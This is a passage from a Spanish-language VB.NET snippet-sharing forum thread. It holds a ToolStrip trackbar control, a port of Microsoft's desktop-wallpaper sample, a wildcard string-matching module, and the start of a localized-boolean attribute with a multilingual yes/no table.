  118.        ''' </value>
  119.        <
  120.            Bindable(True),
  121.            DefaultValue(10I),
  122.            RefreshProperties(RefreshProperties.All),
  123.            Category("Behavior"), Description("The maximum value for this control.")
  124.        >
  125.        Public Property Maximum As Integer
  126.            Get
  127.                Return Me.Control.Maximum
  128.            End Get
  129.            Set(value As Integer)
  130.                Me.Control.Maximum = value
  131.            End Set
  132.        End Property
  133.  
  134.        ''' <summary>
  135.        ''' This property is not applicable for this control.
  136.        ''' </summary>
  137.        <
  138.            Browsable(False), EditorBrowsable(EditorBrowsableState.Never),
  139.            Category("Not Applicable"), Description("This property is not applicable for this control.")
  140.        >
  141.        Public Overrides Property BackgroundImage As Image
  142.            Get
  143.                Return Nothing
  144.            End Get
  145.            Set(value As Image)
  146.                MyBase.BackgroundImage = Nothing
  147.            End Set
  148.        End Property
  149.  
  150.        ''' <summary>
  151.        ''' This property is not applicable for this control.
  152.        ''' </summary>
  153.        <
  154.            Browsable(False), EditorBrowsable(EditorBrowsableState.Never),
  155.            Category("Not Applicable"), Description("This property is not applicable for this control.")
  156.        >
  157.        Public Overrides Property BackgroundImageLayout As ImageLayout
  158.            Get
  159.                Return MyBase.BackgroundImageLayout
  160.            End Get
  161.            Set(value As ImageLayout)
  162.                MyBase.BackgroundImageLayout = value
  163.            End Set
  164.        End Property
  165.  
  166.        ''' <summary>
  167.        ''' This property is not applicable for this control.
  168.        ''' </summary>
  169.        <
  170.            Browsable(False), EditorBrowsable(EditorBrowsableState.Never),
  171.            Category("Not Applicable"), Description("This property is not applicable for this control.")
  172.        >
  173.        Public Overrides Property Image As Image
  174.            Get
  175.                Return Nothing
  176.            End Get
  177.            Set(value As Image)
  178.                MyBase.Image = Nothing
  179.            End Set
  180.        End Property
  181.  
  182. #End Region
  183.  
  184. #Region " Events "
  185.  
  186.        ''' <summary>
  187.        ''' Occurs when either a mouse or keyboard action moves the scroll box.
  188.        ''' </summary>
  189.        <
  190.            Category("Behavior"), Description("Occurs when either a mouse or keyboard action moves the scroll box.")
  191.        >
  192.        Public Event Scroll As EventHandler
  193.  
  194.        ''' <summary>
  195.        ''' Occurs when the <see cref="ToolStripTrackBar.Value"/> property changes,
  196.        ''' either by movement of the scroll box or by manipulation in code.
  197.        ''' </summary>
  198.        <
  199.            Category("Action"), Description("Occurs when the Value property changes, either by movement of the scroll box or by manipulation in code.")
  200.        >
  201.        Public Event ValueChanged As EventHandler
  202.  
  203. #End Region
  204.  
  205. #Region " Constructors "
  206.  
  207.        ''' <summary>
  208.        ''' Initializes a new instance of the <see cref="ToolStripTrackBar"/> class.
  209.        ''' </summary>
  210.        Public Sub New()
  211.            MyBase.New(ToolStripTrackBar.CreateControlInstance())
  212.        End Sub
  213.  
  214. #End Region
  215.  
  216. #Region " Event Invocators "
  217.  
  218.        ''' <summary>
  219.        ''' Raises the <see cref="ToolStripTrackBar.Scroll"/> event.
  220.        ''' </summary>
  221.        '''
  222.        ''' <param name="sender">
  223.        ''' The source of the event.
  224.        ''' </param>
  225.        '''
  226.        ''' <param name="e">
  227.        ''' The <see cref="EventArgs"/> instance containing the event data.
  228.        ''' </param>
  229.        Private Sub OnScroll(sender As Object, e As EventArgs)
  230.            If Me.ScrollEvent IsNot Nothing Then
  231.                RaiseEvent Scroll(Me, e)
  232.            End If
  233.        End Sub
  234.  
  235.        ''' <summary>
  236.        ''' Raises the <see cref="ToolStripTrackBar.Scroll"/> event.
  237.        ''' </summary>
  238.        '''
  239.        ''' <param name="sender">
  240.        ''' The source of the event.
  241.        ''' </param>
  242.        '''
  243.        ''' <param name="e">
  244.        ''' The <see cref="EventArgs"/> instance containing the event data.
  245.        ''' </param>
  246.        Private Sub OnValueChanged(sender As Object, e As EventArgs)
  247.            If Me.ValueChangedEvent IsNot Nothing Then
  248.                RaiseEvent ValueChanged(Me, e)
  249.            End If
  250.        End Sub
  251.  
  252. #End Region
  253.  
  254. #Region " Event Invocators (Overriden) "
  255.  
  256.        ''' <summary>
  257.        ''' Subscribes events from the hosted control
  258.        ''' </summary>
  259.        '''
  260.        ''' <param name="control">
  261.        ''' The control from which to subscribe events.
  262.        ''' </param>
  263.        Protected Overrides Sub OnSubscribeControlEvents(control As Control)
  264.            MyBase.OnSubscribeControlEvents(control)
  265.  
  266.            AddHandler DirectCast(control, TrackBar).Scroll, AddressOf Me.OnScroll
  267.            AddHandler DirectCast(control, TrackBar).ValueChanged, AddressOf Me.OnValueChanged
  268.        End Sub
  269.  
  270.        ''' <summary>
  271.        ''' Unsubscribes events from the hosted control
  272.        ''' </summary>
  273.        '''
  274.        ''' <param name="control">
  275.        ''' The control from which to unsubscribe events.
  276.        ''' </param>
  277.        Protected Overrides Sub OnUnsubscribeControlEvents(control As Control)
  278.            MyBase.OnUnsubscribeControlEvents(control)
  279.  
  280.            RemoveHandler DirectCast(control, TrackBar).Scroll, AddressOf Me.OnScroll
  281.            RemoveHandler DirectCast(control, TrackBar).ValueChanged, AddressOf Me.Onvaluechanged
  282.        End Sub
  283.  
  284. #End Region
  285.  
  286. #Region " Private Methods "
  287.  
  288.        ''' <summary>
  289.        ''' Creates the control instance.
  290.        ''' </summary>
  291.        '''
  292.        ''' <returns>
  293.        ''' The control.
  294.        ''' </returns>
  295.        Private Shared Function CreateControlInstance() As Control
  296.            Using ts As New ToolStrip()
  297.                Return New TrackBar() With {
  298.                    .AutoSize = False,
  299.                    .Size = New Size(80, ts.Height)
  300.                }
  301.            End Using
  302.        End Function
  303.  
  304. #End Region
  305.  
  306.    End Class
  307.  
  308. End Namespace
  309.  
  310. #End Region
  311.  
  312.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2024, 18:37 pm
El siguiente código es un ejemplo oficial de Microsoft que sirve para modificar el fondo de pantalla (wallpaper) del escritorio.

El código está escrito originalmente en C#, lo he convertido a VB.NET, pero no lo he refactorizado, lo comparto tal cual.

Modo de empleo:
Código
  1. Dim supportJpgAsWallpaper As Boolean = Wallpaper.SupportJpgAsWallpaper
  2. Dim supportFitFillWallpaperStyles As Boolean = Wallpaper.SupportFitFillWallpaperStyles
  3.  
  4. Debug.WriteLine($"{NameOf(supportJpgAsWallpaper)}: {supportJpgAsWallpaper}")
  5. Debug.WriteLine($"{NameOf(supportFitFillWallpaperStyles)}: {supportFitFillWallpaperStyles}")
  6.  
  7. ' If supportJpgAsWallpaper AndAlso supportFitFillWallpaperStyles Then
  8.    Wallpaper.SetDesktopWallpaper("C:\wallpaper.jpg", WallpaperStyle.Fill)
  9. ' Else
  10. '   ...
  11. ' End If

Wallpaper.vb
Código
  1. Imports Microsoft.Win32
  2.  
  3. Imports System.ComponentModel
  4. Imports System.Drawing
  5. Imports System.Drawing.Imaging
  6. Imports System.IO
  7. Imports System.Runtime.InteropServices
  8.  
  9. '''********************************* Module Header ***********************************\
  10. '''Module Name:  Wallpaper.cs
  11. '''Project:      CSSetDesktopWallpaper
  12. '''Copyright (c) Microsoft Corporation.
  13. '''
  14. '''The file defines a wallpaper helper class.
  15. '''
  16. '''    Wallpaper.SetDesktopWallpaper(string fileName, WallpaperStyle style)
  17. '''
  18. '''This is the key method that sets the desktop wallpaper. The method body is composed of
  19. '''configuring the wallpaper style in the registry and setting the wallpaper with
  20. '''SystemParametersInfo.
  21. '''
  22. '''This source is subject to the Microsoft Public License.
  23. '''See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
  24. '''All other rights reserved.
  25. '''
  26. '''THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
  27. '''EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED WARRANTIES OF
  28. '''MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR PURPOSE.
  29. '''\************************************************************************************
  30. Public Module Wallpaper
  31. ''' <summary>
  32. ''' Determine if the fit and fill wallpaper styles are supported in
  33. ''' the current operating system. The styles are not supported before
  34. ''' Windows 7.
  35. ''' </summary>
  36. Public ReadOnly Property SupportFitFillWallpaperStyles As Boolean
  37. Get
  38. Return (Environment.OSVersion.Version >= New Version(6, 1))
  39. End Get
  40. End Property
  41.  
  42. ''' <summary>
  43. ''' Determine if .jpg files are supported as wallpaper in the current
  44. ''' operating system. The .jpg wallpapers are not supported before
  45. ''' Windows Vista.
  46. ''' </summary>
  47. Public ReadOnly Property SupportJpgAsWallpaper As Boolean
  48. Get
  49. Return (Environment.OSVersion.Version >= New Version(6, 0))
  50. End Get
  51. End Property
  52.  
  53. ''' <summary>
  54. ''' Set the desktop wallpaper.
  55. ''' </summary>
  56. ''' <param name="fileName">Path of the wallpaper</param>
  57. ''' <param name="style">Wallpaper style</param>
  58. Public Sub SetDesktopWallpaper(path As String, style As WallpaperStyle)
  59. ' Set the wallpaper style and tile.
  60. ' Two registry values are set in the Control Panel\Desktop key.
  61. ' TileWallpaper
  62. '  0: The wallpaper picture should not be tiled
  63. '  1: The wallpaper picture should be tiled
  64. ' WallpaperStyle
  65. '  0:  The image is centered if TileWallpaper=0 or tiled if TileWallpaper=1
  66. '  2:  The image is stretched to fill the screen
  67. '  6:  The image is resized to fit the screen while maintaining the aspect
  68. '      ratio. (Windows 7 and later)
  69. '  10: The image is resized and cropped to fill the screen while
  70. '      maintaining the aspect ratio. (Windows 7 and later)
  71. Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("Control Panel\Desktop", True)
  72.  
  73. Select Case style
  74. Case WallpaperStyle.Tile
  75. key.SetValue("WallpaperStyle", "0")
  76. key.SetValue("TileWallpaper", "1")
  77. Case WallpaperStyle.Center
  78. key.SetValue("WallpaperStyle", "0")
  79. key.SetValue("TileWallpaper", "0")
  80. Case WallpaperStyle.Stretch
  81. key.SetValue("WallpaperStyle", "2")
  82. key.SetValue("TileWallpaper", "0")
  83. Case WallpaperStyle.Fit ' (Windows 7 and later)
  84. key.SetValue("WallpaperStyle", "6")
  85. key.SetValue("TileWallpaper", "0")
  86. Case WallpaperStyle.Fill ' (Windows 7 and later)
  87. key.SetValue("WallpaperStyle", "10")
  88. key.SetValue("TileWallpaper", "0")
  89. End Select
  90.  
  91. key.Close()
  92.  
  93. ' If the specified image file is neither .bmp nor .jpg, - or -
  94. ' if the image is a .jpg file but the operating system is Windows Server
  95. ' 2003 or Windows XP/2000 that does not support .jpg as the desktop
  96. ' wallpaper, convert the image file to .bmp and save it to the
  97. ' %appdata%\Microsoft\Windows\Themes folder.
  98. Dim ext As String = System.IO.Path.GetExtension(path)
  99. If (Not ext.Equals(".bmp", StringComparison.OrdinalIgnoreCase) AndAlso Not ext.Equals(".jpg", StringComparison.OrdinalIgnoreCase)) OrElse (ext.Equals(".jpg", StringComparison.OrdinalIgnoreCase) AndAlso Not SupportJpgAsWallpaper) Then
  100. Using image As Image = System.Drawing.Image.FromFile(path)
  101. path = String.Format("{0}\Microsoft\Windows\Themes\{1}.bmp", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), System.IO.Path.GetFileNameWithoutExtension(path))
  102. image.Save(path, ImageFormat.Bmp)
  103. End Using
  104. End If
  105.  
  106. ' Set the desktop wallpapaer by calling the NativeMethods API SystemParametersInfo
  107. ' with the SPI_SETDESKWALLPAPER desktop parameter. The changes should
  108. ' persist, and also be immediately visible.
  109. If Not SafeNativeMethods.SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, path, SPIF_UPDATEINIFILE Or SPIF_SENDWININICHANGE) Then
  110. Throw New Win32Exception()
  111. End If
  112. End Sub
  113.  
  114. Friend NotInheritable Class SafeNativeMethods
  115. <DllImport("user32.dll", CharSet:=CharSet.Unicode, SetLastError:=True)>
  116. Public Shared Function SystemParametersInfo(uiAction As UInteger, uiParam As UInteger, pvParam As String, fWinIni As UInteger) As <MarshalAs(UnmanagedType.Bool)> Boolean
  117. End Function
  118. End Class
  119.  
  120. Private Const SPI_SETDESKWALLPAPER As UInteger = 20
  121.  
  122. Private Const SPIF_UPDATEINIFILE As UInteger = &H1
  123.  
  124. Private Const SPIF_SENDWININICHANGE As UInteger = &H2
  125. End Module
  126.  
  127. Public Enum WallpaperStyle
  128. Tile
  129. Center
  130. Stretch
  131. Fit
  132. Fill
  133. End Enum
  134.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Abril 2024, 18:48 pm
El siguiente código es un módulo por nombre 'Wildcard' que representa un algoritmo de coincidencia de cadenas con uso de comodines * (wildcards). Sirve como alternativa al operador Like de VB.NET.

Ejemplo de uso:

Código
  1. Dim input As String = "Hello World!"
  2. Dim pattern As String = "*e*l*o *!"
  3.  
  4. Console.WriteLine($"{NameOf(Wildcard.IsMatch)} {Wildcard.IsMatch(input, pattern)}")

El código lo he extraído del código fuente de la aplicación "RomyView" escrita en C#:

  • https://drive.google.com/drive/folders/1BGKnttu1RbOpA-liID69IXYdW0lRd9nD?usp=sharing
  • https://psycodedeveloper.wordpress.com/2019/08/02/all-the-c-source-code-of-the-last-few-articles-and-then-some/

Lo he convertido a VB.NET de forma automática, y lo comparto tal cual, sin modificaciones ni adiciones. Lo he probado con varias cadenas y combinaciones de patrones de comodines, y parece funcionar a la perfección.

Wildcard.vb
Código
  1. ''' <summary>The IsMatch function below was downloaded from:
  2. ''' <a href="https://www.c-sharpcorner.com/uploadfile/b81385/efficient-string-matching-algorithm-with-use-of-wildcard-characters/">
  3. ''' Efficient String Matching Algorithm with Use of Wildcard Characters</a></summary>
  4. Public Module Wildcard
  5. ''' <summary>Tests whether specified string can be matched against provided pattern string, where
  6. ''' the pattern string may contain wildcards as follows: ? to replace any single character, and *
  7. ''' to replace any string.</summary>
  8. ''' <param name="input">String which is matched against the pattern.</param>
  9. ''' <param name="pattern">Pattern against which string is matched.</param>
  10. ''' <returns>true if <paramref name="pattern"/> matches the string <paramref name="input"/>; otherwise false.</returns>
  11. Public Function IsMatch(input As String, pattern As String) As Boolean
  12. Return IsMatch(input, pattern, "?"c, "*"c)
  13. End Function
  14.  
  15. ''' <summary>Tests whether specified string can be matched against provided pattern string.
  16. ''' Pattern may contain single- and multiple-replacing wildcard characters.</summary>
  17. ''' <param name="input">String which is matched against the pattern.</param>
  18. ''' <param name="pattern">Pattern against which string is matched.</param>
  19. ''' <param name="singleWildcard">Character which can be used to replace any single character in input string.</param>
  20. ''' <param name="multipleWildcard">Character which can be used to replace zero or more characters in input string.</param>
  21. ''' <returns>true if <paramref name="pattern"/> matches the string <paramref name="input"/>; otherwise false.</returns>
  22. Public Function IsMatch(input As String, pattern As String, singleWildcard As Char, multipleWildcard As Char) As Boolean
  23. Dim inputPosStack(((input.Length + 1) * (pattern.Length + 1)) - 1) As Integer ' Stack containing input positions that should be tested for further matching
  24. Dim patternPosStack(inputPosStack.Length - 1) As Integer ' Stack containing pattern positions that should be tested for further matching
  25. Dim stackPos As Integer = -1 ' Points to last occupied entry in stack; -1 indicates that stack is empty
  26. Dim pointTested()() As Boolean = {
  27. New Boolean(input.Length) {},
  28. New Boolean(pattern.Length) {}
  29. }
  30.  
  31. Dim inputPos As Integer = 0 ' Position in input matched up to the first multiple wildcard in pattern
  32. Dim patternPos As Integer = 0 ' Position in pattern matched up to the first multiple wildcard in pattern
  33.  
  34. ' Match beginning of the string until first multiple wildcard in pattern
  35. Do While inputPos < input.Length AndAlso patternPos < pattern.Length AndAlso pattern.Chars(patternPos) <> multipleWildcard AndAlso (input.Chars(inputPos) = pattern.Chars(patternPos) OrElse pattern.Chars(patternPos) = singleWildcard)
  36. inputPos += 1
  37. patternPos += 1
  38. Loop
  39.  
  40. ' Push this position to stack if it points to end of pattern or to a general wildcard
  41. If patternPos = pattern.Length OrElse pattern.Chars(patternPos) = multipleWildcard Then
  42. pointTested(0)(inputPos) = True
  43. pointTested(1)(patternPos) = True
  44.  
  45. stackPos += 1
  46. inputPosStack(stackPos) = inputPos
  47. patternPosStack(stackPos) = patternPos
  48. End If
  49. Dim matched As Boolean = False
  50.  
  51. ' Repeat matching until either string is matched against the pattern or no more parts remain on stack to test
  52. Do While stackPos >= 0 AndAlso Not matched
  53. inputPos = inputPosStack(stackPos) ' Pop input and pattern positions from stack
  54. patternPos = patternPosStack(stackPos) ' Matching will succeed if rest of the input string matches rest of the pattern
  55. stackPos -= 1
  56.  
  57. If inputPos = input.Length AndAlso patternPos = pattern.Length Then
  58. matched = True ' Reached end of both pattern and input string, hence matching is successful
  59. Else
  60. ' First character in next pattern block is guaranteed to be multiple wildcard
  61. ' So skip it and search for all matches in value string until next multiple wildcard character is reached in pattern
  62.  
  63. For curInputStart As Integer = inputPos To input.Length - 1
  64. Dim curInputPos As Integer = curInputStart
  65. Dim curPatternPos As Integer = patternPos + 1
  66.  
  67. If curPatternPos = pattern.Length Then ' Pattern ends with multiple wildcard, hence rest of the input string is matched with that character
  68. curInputPos = input.Length
  69. Else
  70. Do While curInputPos < input.Length AndAlso curPatternPos < pattern.Length AndAlso pattern.Chars(curPatternPos) <> multipleWildcard AndAlso (input.Chars(curInputPos) = pattern.Chars(curPatternPos) OrElse pattern.Chars(curPatternPos) = singleWildcard)
  71. curInputPos += 1
  72. curPatternPos += 1
  73. Loop
  74. End If
  75.  
  76. ' If we have reached next multiple wildcard character in pattern without breaking the matching sequence, then we have another candidate for full match
  77. ' This candidate should be pushed to stack for further processing
  78. ' At the same time, pair (input position, pattern position) will be marked as tested, so that it will not be pushed to stack later again
  79. If ((curPatternPos = pattern.Length AndAlso curInputPos = input.Length) OrElse (curPatternPos < pattern.Length AndAlso pattern.Chars(curPatternPos) = multipleWildcard)) AndAlso Not pointTested(0)(curInputPos) AndAlso Not pointTested(1)(curPatternPos) Then
  80. pointTested(0)(curInputPos) = True
  81. pointTested(1)(curPatternPos) = True
  82.  
  83. stackPos += 1
  84. inputPosStack(stackPos) = curInputPos
  85. patternPosStack(stackPos) = curPatternPos
  86. End If
  87. Next curInputStart
  88. End If
  89. Loop
  90.  
  91. Return matched
  92. End Function
  93. End Module


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 26 Abril 2024, 18:38 pm
Comparto una forma que he ideado para automatizar la traducción, al idioma actual de la aplicación, los valores booleanos en un propertygrid (por ejemplo), mediante el uso clases de atributos.

(https://i.imgur.com/60Amc21.png)

(https://i.imgur.com/cKMBAf9.png)



El modo de empleo es muy sencillo:

Código
  1. public class TestClass
  2.  
  3. <LocalizableBoolean>
  4. <TypeConverter(GetType(LocalizableBooleanConverter))>
  5. Public Property FeatureEnabled As Boolean = True
  6.  
  7. end class

Código
  1. Me.PropertyGrid1.SelectedObject = new TestClass()

También se puede utilizar de esta forma alternativa para una representación arbitraria en los idiomas que se especifiquen mediante un string separado por comas (en este ejemplo, el español y el francés):

Código
  1. <LocalizableBoolean("es, fr", "ssssí!!, Oui!", "nope!, Non!")>
  2. <TypeConverter(GetType(LocalizableBooleanConverter))>
  3. Public Property FeatureEnabled As Boolean = True

(https://i.imgur.com/ESA2cAy.png)



El código:

LocalizedBoolean.vb
Código
  1. ''' <summary>
  2. ''' Represents localized strings for <see langword="True"/> and <see langword="False"/> <see cref="Boolean"/> values.
  3. ''' </summary>
  4. <DebuggerStepThrough>
  5. Public NotInheritable Class LocalizedBoolean
  6.  
  7.    ''' <summary>
  8.    ''' The <see cref="CultureInfo"/> that represents the region for
  9.    ''' the localized strings in <see cref="LocalizedBoolean.True"/>
  10.    ''' and <see cref="LocalizedBoolean.False"/> properties.
  11.    ''' </summary>
  12.    Public ReadOnly Property Culture As CultureInfo
  13.  
  14.    ''' <summary>
  15.    ''' The localized string representation for <see langword="True"/> <see cref="Boolean"/> value.
  16.    ''' </summary>
  17.    Public ReadOnly Property [True] As String
  18.  
  19.    ''' <summary>
  20.    ''' The localized string representation for <see langword="False"/> <see cref="Boolean"/> value.
  21.    ''' </summary>
  22.    Public ReadOnly Property [False] As String
  23.  
  24.    ''' <summary>
  25.    ''' Initializes a new instance of the <see cref="LocalizedBoolean"/> class.
  26.    ''' </summary>
  27.    '''
  28.    ''' <param name="culture">
  29.    ''' The <see cref="CultureInfo"/> that represents the region for the localized strings.
  30.    ''' </param>
  31.    '''
  32.    ''' <param name="trueString">
  33.    ''' The localized string representation for <see langword="True"/> <see cref="Boolean"/> value.
  34.    ''' </param>
  35.    '''
  36.    ''' <param name="falseString">
  37.    ''' The localized string representation for <see langword="False"/> <see cref="Boolean"/> value.
  38.    ''' </param>
  39.    Public Sub New(culture As CultureInfo, trueString As String, falseString As String)
  40.        If culture Is Nothing Then
  41.            Throw New ArgumentNullException(paramName:=NameOf(culture))
  42.        End If
  43.        If String.IsNullOrWhiteSpace(trueString) Then
  44.            Throw New ArgumentNullException(paramName:=NameOf(trueString))
  45.        End If
  46.        If String.IsNullOrWhiteSpace(falseString) Then
  47.            Throw New ArgumentNullException(paramName:=NameOf(falseString))
  48.        End If
  49.  
  50.        Me.Culture = culture
  51.        Me.True = trueString
  52.        Me.False = falseString
  53.    End Sub
  54.  
  55.    ''' <summary>
  56.    ''' Prevents a default instance of the <see cref="LocalizedBoolean"/> class from being created.
  57.    ''' </summary>
  58.    Private Sub New()
  59.    End Sub
  60.  
  61. End Class

LocalizableBooleanAttribute.vb
Código:
''' <summary>
''' Specifies that a <see cref="Boolean"/> property can display localized string representations
''' for <see langword="True"/> and <see langword="False"/> values.
''' </summary>
<AttributeUsage(AttributeTargets.Property, AllowMultiple:=False, Inherited:=True)>
<DebuggerStepThrough>
Public NotInheritable Class LocalizableBooleanAttribute : Inherits Attribute

    ''' <summary>
    ''' Gets the localized boolean representations.
    ''' <para></para>
    ''' The dictionary Key is the ISO 639-1 two-letter code for the language.
    ''' </summary>
    Public ReadOnly Property Localizations As Dictionary(Of String, LocalizedBoolean)

    ''' <summary>
    ''' Initializes a new instance of the <see cref="LocalizedBoolean"/> class.
    ''' </summary>
    Public Sub New()
        Me.Localizations = New Dictionary(Of String, LocalizedBoolean)(StringComparison.OrdinalIgnoreCase) From {
            {"af", New LocalizedBoolean(CultureInfo.GetCultureInfo("af"), "Ja", "Nee")}, ' Afrikaans
            {"am", New LocalizedBoolean(CultureInfo.GetCultureInfo("am"), "እወዳለሁ", "አይደለሁ")}, ' Amharic
            {"ar", New LocalizedBoolean(CultureInfo.GetCultureInfo("ar"), "نعم", "لا")}, ' Arabic
            {"az", New LocalizedBoolean(CultureInfo.GetCultureInfo("az"), "Bəli", "Xeyr")}, ' Azerbaijani
            {"be", New LocalizedBoolean(CultureInfo.GetCultureInfo("be"), "Так", "Не")}, ' Belarusian
            {"bg", New LocalizedBoolean(CultureInfo.GetCultureInfo("bg"), "Да", "Не")}, ' Bulgarian
            {"bn", New LocalizedBoolean(CultureInfo.GetCultureInfo("bn"), "হ্যাঁ", "না")}, ' Bengali
            {"ca", New LocalizedBoolean(CultureInfo.GetCultureInfo("ca"), "Sí", "No")}, ' Catalan
            {"cs", New LocalizedBoolean(CultureInfo.GetCultureInfo("cs"), "Ano", "Ne")}, ' Czech
            {"cy", New LocalizedBoolean(CultureInfo.GetCultureInfo("cy"), "Ie", "Na")}, ' Welsh
            {"da", New LocalizedBoolean(CultureInfo.GetCultureInfo("da"), "Ja", "Nej")}, ' Danish
            {"de", New LocalizedBoolean(CultureInfo.GetCultureInfo("de"), "Ja", "Nein")}, ' German
            {"el", New LocalizedBoolean(CultureInfo.GetCultureInfo("el"), "Ναι", "Όχι")}, ' Greek
            {"en", New LocalizedBoolean(CultureInfo.GetCultureInfo("en"), "Yes", "No")}, ' English
            {"es", New LocalizedBoolean(CultureInfo.GetCultureInfo("es"), "Sí", "No")}, ' Spanish
            {"et", New LocalizedBoolean(CultureInfo.GetCultureInfo("et"), "Jah", "Ei")}, ' Estonian
            {"eu", New LocalizedBoolean(CultureInfo.GetCultureInfo("eu"), "Bai", "Ez")}, ' Basque
            {"fa", New LocalizedBoolean(CultureInfo.GetCultureInfo("fa"), "بله", "خیر")}, ' Persian
            {"fi", New LocalizedBoolean(CultureInfo.GetCultureInfo("fi"), "Kyllä", "Ei")}, ' Finnish
            {"fr", New LocalizedBoolean(CultureInfo.GetCultureInfo("fr"), "Oui", "Non")}, ' French
            {"ga", New LocalizedBoolean(CultureInfo.GetCultureInfo("ga"), "Tá", "Níl")}, ' Irish
            {"gd", New LocalizedBoolean(CultureInfo.GetCultureInfo("gd"), "Tha", "Chan eil")}, ' Scottish Gaelic
            {"gl", New LocalizedBoolean(CultureInfo.GetCultureInfo("gl"), "Si", "Non")}, ' Galician
            {"gu", New LocalizedBoolean(CultureInfo.GetCultureInfo("gu"), "હા", "ના")}, ' Gujarati
            {"hi", New LocalizedBoolean(CultureInfo.GetCultureInfo("hi"), "हाँ", "नहीं")}, ' Hindi
            {"hr", New LocalizedBoolean(CultureInfo.GetCultureInfo("hr"), "Da", "Ne")}, ' Croatian
            {"ht", New LocalizedBoolean(CultureInfo.GetCultureInfo("ht"), "Wi", "Pa")}, ' Haitian Creole
            {"hu", New LocalizedBoolean(CultureInfo.GetCultureInfo("hu"), "Igen", "Nem")}, ' Hungarian
            {"id", New LocalizedBoolean(CultureInfo.GetCultureInfo("id"), "Ya", "Tidak")}, ' Indonesian
            {"ig", New LocalizedBoolean(CultureInfo.GetCultureInfo("ig"), "Ee", "Mba")}, ' Igbo
            {"is", New LocalizedBoolean(CultureInfo.GetCultureInfo("is"), "Já", "Nei")}, ' Icelandic
            {"it", New LocalizedBoolean(CultureInfo.GetCultureInfo("it"), "Sì", "No")}, ' Italian
            {"ja", New LocalizedBoolean(CultureInfo.GetCultureInfo("ja"), "はい", "いいえ")}, ' Japanese
            {"jv", New LocalizedBoolean(CultureInfo.GetCultureInfo("jv"), "Iya", "Ora")}, ' Javanese
            {"kk", New LocalizedBoolean(CultureInfo.GetCultureInfo("kk"), "Иә", "Жоқ")}, ' Kazakh
            {"km", New LocalizedBoolean(CultureInfo.GetCultureInfo("km"), "បាទ/ចាស", "ទេ")}, ' Khmer
            {"kn", New LocalizedBoolean(CultureInfo.GetCultureInfo("kn"), "ಹೌದು", "ಇಲ್ಲ")}, ' Kannada
            {"ko", New LocalizedBoolean(CultureInfo.GetCultureInfo("ko"), "예", "아니오")}, ' Korean
            {"ku", New LocalizedBoolean(CultureInfo.GetCultureInfo("ku"), "Belê", "Na")}, ' Kurdish (Kurmanji)
            {"ky", New LocalizedBoolean(CultureInfo.GetCultureInfo("ky"), "Ооба", "Жок")}, ' Kyrgyz
            {"la", New LocalizedBoolean(CultureInfo.GetCultureInfo("la"), "Ita", "Non")}, ' Latin
            {"lg", New LocalizedBoolean(CultureInfo.GetCultureInfo("lg"), "Yee", "Nedda")}, ' Luganda
            {"lt", New LocalizedBoolean(CultureInfo.GetCultureInfo("lt"), "Taip", "Ne")}, ' Lithuanian
            {"lv", New LocalizedBoolean(CultureInfo.GetCultureInfo("lv"), "Jā", "Nē")}, ' Latvian
            {"mg", New LocalizedBoolean(CultureInfo.GetCultureInfo("mg"), "Eny", "Tsia")}, ' Malagasy
            {"mi", New LocalizedBoolean(CultureInfo.GetCultureInfo("mi"), "Āe", "Kāo")}, ' Maori
            {"mk", New LocalizedBoolean(CultureInfo.GetCultureInfo("mk"), "Да", "Не")}, ' Macedonian
            {"ml", New LocalizedBoolean(CultureInfo.GetCultureInfo("ml"), "അതെ", "ഇല്ല")}, ' Malayalam
            {"mn", New LocalizedBoolean(CultureInfo.GetCultureInfo("mn"), "Тийм", "Үгүй")}, ' Mongolian
            {"mr", New LocalizedBoolean(CultureInfo.GetCultureInfo("mr"), "होय", "नाही")}, ' Marathi
            {"ms", New LocalizedBoolean(CultureInfo.GetCultureInfo("ms"), "Ya", "Tidak")}, ' Malay
            {"mt", New LocalizedBoolean(CultureInfo.GetCultureInfo("mt"), "Iva", "Le")}, ' Maltese
            {"my", New LocalizedBoolean(CultureInfo.GetCultureInfo("my"), "ဟုတ်ကဲ့", "မဟုတ်ဘူး")}, ' Burmese
            {"ne", New LocalizedBoolean(CultureInfo.GetCultureInfo("ne"), "हो", "होइन")}, ' Nepali
            {"nl", New LocalizedBoolean(CultureInfo.GetCultureInfo("nl"), "Ja", "Nee")}, ' Dutch
            {"no", New LocalizedBoolean(CultureInfo.GetCultureInfo("no"), "Ja", "Nei")}, ' Norwegian
            {"ny", New LocalizedBoolean(CultureInfo.GetCultureInfo("ny"), "Yewo", "Ayawo")}, ' Chichewa
            {"pa", New LocalizedBoolean(CultureInfo.GetCultureInfo("pa"), "ਹਾਂ", "ਨਹੀਂ")}, ' Punjabi
            {"pl", New LocalizedBoolean(CultureInfo.GetCultureInfo("pl"), "Tak", "Nie")}, ' Polish
            {"ps", New LocalizedBoolean(CultureInfo.GetCultureInfo("ps"), "هو", "نه")}, ' Pashto
            {"pt", New LocalizedBoolean(CultureInfo.GetCultureInfo("pt"), "Sim", "Não")}, ' Portuguese
            {"rm", New LocalizedBoolean(CultureInfo.GetCultureInfo("rm"), "Gia", "Betg")}, ' Romansh
            {"ro", New LocalizedBoolean(CultureInfo.GetCultureInfo("ro"), "Da", "Nu")}, ' Romanian
            {"ru", New LocalizedBoolean(CultureInfo.GetCultureInfo("ru"), "Да", "Нет")}, ' Russian
            {"sd", New LocalizedBoolean(CultureInfo.GetCultureInfo("sd"), "هاڻي", "نه")}, ' Sindhi
            {"si", New LocalizedBoolean(CultureInfo.GetCultureInfo("si"), "ඔව්", "නැත")}, ' Sinhala
            {"sk", New LocalizedBoolean(CultureInfo.GetCultureInfo("sk"), "Áno", "Nie")}, ' Slovak
            {"sl", New LocalizedBoolean(CultureInfo.GetCultureInfo("sl"), "Da", "Ne")}, ' Slovenian
